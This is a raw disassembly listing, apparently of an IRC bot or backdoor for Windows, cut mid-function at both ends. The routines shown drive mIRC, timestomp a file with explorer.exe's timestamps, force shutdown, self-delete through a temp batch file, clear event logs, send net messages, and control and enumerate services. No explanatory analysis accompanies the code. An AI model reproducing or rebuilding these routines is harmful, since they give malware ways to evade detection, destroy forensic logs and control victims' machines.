push edi
push esi
call ds:dword_427160 ; GlobalLock
push esi
mov edi, eax
call ds:dword_42715C ; GlobalUnlock
call dword_4CB6A8 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41820E: ; CODE XREF: sub_4181D7+Bj
; sub_4181D7+19j
xor eax, eax
pop esi
retn
sub_4181D7 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_418212(char *Format)
sub_418212 proc near ; CODE XREF: sub_401ACD+7662p
Format = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CB660 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_41828E
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call ds:dword_42716C ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call ds:dword_427168 ; MapViewOfFile
push [esp+10h+Format] ; Format
mov ebx, eax
push ebx ; Dest
call _sprintf
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CB6B0 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_4CB6B0 ; SendMessageA
push ebx
call ds:dword_427164 ; UnmapViewOfFile
push edi
call ds:dword_427068 ; CloseHandle
push 1
pop eax
pop ebx
jmp short loc_418290
; ---------------------------------------------------------------------------
loc_41828E: ; CODE XREF: sub_418212+16j
xor eax, eax
loc_418290: ; CODE XREF: sub_418212+7Aj
pop edi
pop esi
pop ebp
retn
sub_418212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418294 proc near ; CODE XREF: WinMain(x,x,x,x)+212p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CB710 ; SearchPathA
test eax, eax
jz short loc_418333
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_4270EC
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_418333
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call ds:dword_427174 ; GetFileTime
push ebx
mov ebx, ds:dword_427068
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_418333
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_427170 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_418333: ; CODE XREF: sub_418294+2Aj
; sub_418294+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418294 endp
; =============== S U B R O U T I N E =======================================
sub_418338 proc near ; CODE XREF: sub_401ACD+16B2p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419652
pop ecx
pop ecx
push 50005h
push 6
call dword_4CB594 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_418338 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41835A proc near ; CODE XREF: sub_401ACD+2755p
; sub_4163FA+472p
Str = byte ptr -764h
var_364 = byte ptr -364h
Dest = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
Dst = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_41837E
cmp dword_4CB724, esi
jnz short loc_41837E
push esi ; Str
call sub_401000
pop ecx
loc_41837E: ; CODE XREF: sub_41835A+13j
; sub_41835A+1Bj
call sub_40B2C0
lea eax, [ebp+Str]
push eax
push 400h
call ds:dword_4270B0 ; GetTempPathA
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset aSdel_bat ; "%sdel.bat"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dest]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_4270EC ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_4184DE
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+Str]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push edi
call ds:dword_4270E0 ; WriteFile
push edi
call ds:dword_427068 ; CloseHandle
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_58]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43D808
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call ds:dword_42709C ; GetModuleHandleA
push eax
call ds:dword_427070 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call ds:dword_427098 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_418486
lea eax, [ebp+var_15C]
push 80h
push eax
call ds:dword_427094 ; SetFileAttributesA
loc_418486: ; CODE XREF: sub_41835A+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+Str]
push eax
call ds:dword_427178 ; ExpandEnvironmentStringsA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call ds:dword_42706C ; CreateProcessA
loc_4184DE: ; CODE XREF: sub_41835A+72j
pop edi
pop esi
leave
retn
sub_41835A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4184E2(int,char *Str,int,int,int)
sub_4184E2 proc near ; CODE XREF: sub_401ACD+7233p
Dest = byte ptr -294h
Dst = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
mov [ebp+Dst], 94h
push eax
call ds:dword_4270C8 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_418578
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CB5D4 ; OpenEventLogA
push edi
push eax
call dword_4CB5E4 ; ClearEventLogA
test eax, eax
jz short loc_41856A
push [ebp+arg_10]
push offset asc_439074 ; "-"
loc_418543: ; CODE XREF: sub_4184E2+94j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
jmp short loc_4185A2
; ---------------------------------------------------------------------------
loc_41856A: ; CODE XREF: sub_4184E2+57j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43904C
jmp short loc_418543
; ---------------------------------------------------------------------------
loc_418578: ; CODE XREF: sub_4184E2+3Fj
lea eax, [ebp+Dest]
push offset asc_43901C ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 1Ch
loc_4185A2: ; CODE XREF: sub_4184E2+86j
pop edi
leave
retn
sub_4184E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4185A5(char *Source,int,int)
sub_4185A5 proc near ; CODE XREF: sub_401ACD+55FFp
Dest = word ptr -1C0h
var_15C = byte ptr -15Ch
Str = word ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
Source = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call ds:dword_4270C8 ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_4185FB
cmp [ebp+var_8C], 0
jnz short loc_4185E4
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_4185FB
leave
retn
; ---------------------------------------------------------------------------
loc_4185E4: ; CODE XREF: sub_4185A5+30j
cmp [ebp+var_8C], 0Ah
jz short loc_4185F6
cmp [ebp+var_8C], 5Ah
jnz short loc_4185FB
loc_4185F6: ; CODE XREF: sub_4185A5+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4185FB: ; CODE XREF: sub_4185A5+27j
; sub_4185A5+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call ds:dword_4270B8 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call ds:dword_4270BC ; GetProcAddress
push 32h ; MaxCount
mov edi, eax
push [ebp+Source] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _mbstowcs
push 32h ; MaxCount
lea eax, [ebp+var_15C]
push [ebp+arg_4] ; Source
push eax ; Dest
call _mbstowcs
push 32h ; MaxCount
lea eax, [ebp+Str]
push [ebp+arg_8] ; Source
push eax ; Dest
call _mbstowcs
lea eax, [ebp+Str]
push eax ; Str
call _wcslen
shl eax, 1
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+Dest]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
mov edi, eax
push esi
call ds:dword_427138 ; FreeLibrary
mov eax, edi
pop edi
pop esi
leave
retn
sub_4185A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418685 proc near ; CODE XREF: sub_40111D+F7p
; sub_40E6D9+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
pop ecx
call _rand
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_4276F8
call __ftol
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418685 endp
; =============== S U B R O U T I N E =======================================
sub_4186C2 proc near ; CODE XREF: sub_401ACD:loc_406127p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_41871A
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_439098[esi]
push edi
push eax
call sub_41873C
add esp, 14h
test eax, eax
jnz short loc_41870A
push edi
push off_439094[esi]
push offset asc_4391A8 ; "-"
loc_4186FA: ; CODE XREF: sub_4186C2+56j
mov esi, offset byte_4DB6D0
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_418737
; ---------------------------------------------------------------------------
loc_41870A: ; CODE XREF: sub_4186C2+2Aj
push eax
call sub_4187DE
pop ecx
push eax
push edi
push offset unk_43917C
jmp short loc_4186FA
; ---------------------------------------------------------------------------
loc_41871A: ; CODE XREF: sub_4186C2+Cj
lea eax, [eax+eax*2]
mov esi, offset byte_4DB6D0
push off_439090[eax*4]
push offset asc_439158 ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_418737: ; CODE XREF: sub_4186C2+46j
mov eax, esi
pop edi
pop esi
retn
sub_4186C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41873C proc near ; CODE XREF: sub_4186C2+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CB648 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_418763
call ds:dword_42708C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_4187D8
; ---------------------------------------------------------------------------
loc_418763: ; CODE XREF: sub_41873C+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CB530 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_418783
call ds:dword_42708C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_4187D0
; ---------------------------------------------------------------------------
loc_418783: ; CODE XREF: sub_41873C+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_4187B6
cmp eax, 3
jz short loc_4187A7
jle short loc_4187C9
cmp eax, 6
jg short loc_4187C9
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CB59C ; ControlService
jmp short loc_4187BD
; ---------------------------------------------------------------------------
loc_4187A7: ; CODE XREF: sub_41873C+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CB538 ; StartServiceA
jmp short loc_4187BD
; ---------------------------------------------------------------------------
loc_4187B6: ; CODE XREF: sub_41873C+4Dj
push esi
call dword_4CB5A0 ; DeleteService
loc_4187BD: ; CODE XREF: sub_41873C+69j
; sub_41873C+78j
test eax, eax
jnz short loc_4187C9
call ds:dword_42708C ; RtlGetLastWin32Error
mov ebx, eax
loc_4187C9: ; CODE XREF: sub_41873C+54j
; sub_41873C+59j ...
push esi
call dword_4CB54C ; CloseServiceHandle
loc_4187D0: ; CODE XREF: sub_41873C+45j
push edi
call dword_4CB54C ; CloseServiceHandle
pop esi
loc_4187D8: ; CODE XREF: sub_41873C+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_41873C endp
; =============== S U B R O U T I N E =======================================
sub_4187DE proc near ; CODE XREF: sub_4186C2+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418893
jz loc_41888C
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418856
jz short loc_41884C
mov ecx, eax
sub ecx, 3
jz short loc_418842
dec ecx
dec ecx
jz short loc_418838
dec ecx
jz short loc_41882E
sub ecx, 51h
jz short loc_418824
sub ecx, 24h
jnz loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418824: ; CODE XREF: sub_4187DE+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_41882E: ; CODE XREF: sub_4187DE+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418838: ; CODE XREF: sub_4187DE+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418842: ; CODE XREF: sub_4187DE+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_41884C: ; CODE XREF: sub_4187DE+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418856: ; CODE XREF: sub_4187DE+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418885
dec ecx
jz short loc_41887E
dec ecx
jz short loc_418877
dec ecx
jnz loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418877: ; CODE XREF: sub_4187DE+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_41887E: ; CODE XREF: sub_4187DE+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_418885: ; CODE XREF: sub_4187DE+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_41888C: ; CODE XREF: sub_4187DE+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_418893: ; CODE XREF: sub_4187DE+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
jz short loc_4188F6
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_41894A[ecx]
jmp ds:off_418922[ecx*4] ; switch jump
loc_4188B7: ; DATA XREF: .text:off_418922o
push offset aTheSpecifiedDa ; jumptable 004188B0 case 7
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188BE: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: .text:off_418922o
push offset aTheServiceDepe ; jumptable 004188B0 case 17
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188C5: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: .text:off_418922o
push offset aTheServiceDe_0 ; jumptable 004188B0 case 10
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188CC: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: .text:off_418922o
push offset aTheServiceHasB ; jumptable 004188B0 case 0
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188D3: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: .text:off_418922o
push offset aTheSpecified_0 ; jumptable 004188B0 case 2
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188DA: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: .text:off_418922o
push offset aTheServiceCoul ; jumptable 004188B0 case 11
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188E1: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: .text:off_418922o
push offset aTheServiceHa_0 ; jumptable 004188B0 case 14
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188E8: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: .text:off_418922o
push offset aTheRequested_1 ; jumptable 004188B0 case 3
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188EF: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: .text:off_418922o
push offset aTheServiceHasN ; jumptable 004188B0 case 4
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188F6: ; CODE XREF: sub_4187DE+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4188FB: ; CODE XREF: sub_4187DE+41j
; sub_4187DE+4Bj ...
push offset byte_4DB010 ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_41891C
; ---------------------------------------------------------------------------
loc_418909: ; CODE XREF: sub_4187DE+36j
; sub_4187DE+89j ...
push eax ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset byte_4DB010 ; Dest
call _sprintf
add esp, 0Ch
loc_41891C: ; CODE XREF: sub_4187DE+129j
mov eax, offset byte_4DB010
retn
sub_4187DE endp
; ---------------------------------------------------------------------------
off_418922 dd offset loc_4188CC ; DATA XREF: sub_4187DE+D2r
dd offset loc_4188D3 ; jump table for switch statement
dd offset loc_4188E8
dd offset loc_4188EF
dd offset loc_4188B7
dd offset loc_4188C5
dd offset loc_4188DA
dd offset loc_4188E1
dd offset loc_4188BE
dd offset loc_418909
byte_41894A db 0, 9, 1, 2 ; DATA XREF: sub_4187DE+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41895C(int,char *Str,int)
sub_41895C proc near ; CODE XREF: sub_401ACD+45D4p
var_38C = dword ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CB648 ; OpenSCManagerA
push ebx ; int
mov [ebp+var_C], eax
push [ebp+arg_8] ; int
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_418994: ; CODE XREF: sub_41895C+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CB614 ; EnumServicesStatusA
test eax, eax
jnz short loc_4189CE
call ds:dword_42708C ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_418A82
loc_4189CE: ; CODE XREF: sub_41895C+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418A79
lea esi, [ebp+var_188]
loc_4189DF: ; CODE XREF: sub_41895C+117j
mov eax, [esi+8]
dec eax
jz short loc_418A28
dec eax
jz short loc_418A21
dec eax
jz short loc_418A1A
dec eax
jz short loc_418A13
dec eax
jz short loc_418A0C
dec eax
jz short loc_418A05
dec eax
jz short loc_4189FE
push offset aUnknown_0 ; " Unknown"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_4189FE: ; CODE XREF: sub_41895C+99j
push offset aPaused ; " Paused"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A05: ; CODE XREF: sub_41895C+96j
push offset aPausing ; " Pausing"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A0C: ; CODE XREF: sub_41895C+93j
push offset aContinuing ; " Continuing"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A13: ; CODE XREF: sub_41895C+90j
push offset aRunning ; " Running"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A1A: ; CODE XREF: sub_41895C+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A21: ; CODE XREF: sub_41895C+8Aj
push offset aStarting ; " Starting"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A28: ; CODE XREF: sub_41895C+87j
push offset aStopped ; " Stopped"
loc_418A2D: ; CODE XREF: sub_41895C+A0j
; sub_41895C+A7j ...
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+Dest]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_2 ; "%s: %s (%s)"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+var_38C]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4189DF
loc_418A79: ; CODE XREF: sub_41895C+77j
cmp [ebp+var_8], ebx
jnz loc_418994
loc_418A82: ; CODE XREF: sub_41895C+6Cj
push [ebp+var_C]
call dword_4CB54C ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_41895C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418A99(int,char *Str,int)
sub_418A99 proc near ; CODE XREF: sub_401ACD:loc_406167p
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Str]
test edi, edi
jz loc_418B33
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_418AC2
dec eax
jnz short loc_418B13
push edi
push 0
call sub_418C6C
pop ecx
pop ecx
jmp short loc_418B0F
; ---------------------------------------------------------------------------
loc_418AC2: ; CODE XREF: sub_418A99+18j
cmp [ebp+arg_8], 0
jnz short loc_418B01
push 24h ; Val
push edi ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jnz short loc_418B01
push 57h
pop eax
loc_418AD9: ; CODE XREF: sub_418A99+78j
push eax
call sub_419460
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset byte_4DB2CC
push off_439090[eax*4]
push offset asc_43973C ; "-"
push esi ; Dest
call _sprintf
add esp, 14h
jmp short loc_418B53
; ---------------------------------------------------------------------------
loc_418B01: ; CODE XREF: sub_418A99+2Dj
; sub_418A99+3Bj
push [ebp+arg_8] ; int
push edi ; Str
push 0 ; int
call sub_418BC0
add esp, 0Ch
loc_418B0F: ; CODE XREF: sub_418A99+27j
test eax, eax
jnz short loc_418AD9
loc_418B13: ; CODE XREF: sub_418A99+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset byte_4DB2CC
push off_439094[eax*4]
push offset asc_439720 ; "-"
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_418B53
; ---------------------------------------------------------------------------
loc_418B33: ; CODE XREF: sub_418A99+Aj
mov eax, [ebp+arg_0]
mov esi, offset byte_4DB2CC
lea eax, [eax+eax*2]
push off_439090[eax*4]
push offset asc_4396FC ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_418B53: ; CODE XREF: sub_418A99+66j
; sub_418A99+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418A99 endp
; =============== S U B R O U T I N E =======================================
sub_418B59 proc near ; CODE XREF: sub_419E7A+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_418B66
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_418B66: ; CODE XREF: sub_418B59+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_42717C
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_4DB4CC, 1
mov ebp, eax
jnz short loc_418BA3
or byte_4DB4CC, 1
lea eax, [ebp+1]
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov dword_4DB26C, eax
loc_418BA3: ; CODE XREF: sub_418B59+32j
push esi
push esi
push ebp
push dword_4DB26C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_4DB26C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_418B59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418BC0(int,char *Str,int)
sub_418BC0 proc near ; CODE XREF: sub_418A99+6Ep
; sub_41A19E+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_418C2B
push [ebp+Str]
mov edi, eax
call sub_418C2B
push 24h ; Val
mov [ebp+var_20], eax
push [ebp+Str] ; Str
call _strchr
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_418C2B
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CB548
pop edi
leave
retn
sub_418BC0 endp
; =============== S U B R O U T I N E =======================================
sub_418C2B proc near ; CODE XREF: sub_418BC0+Ap
; sub_418BC0+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_418C38
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418C38: ; CODE XREF: sub_418C2B+9j
push ebx
push esi
mov esi, ds:dword_427180
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
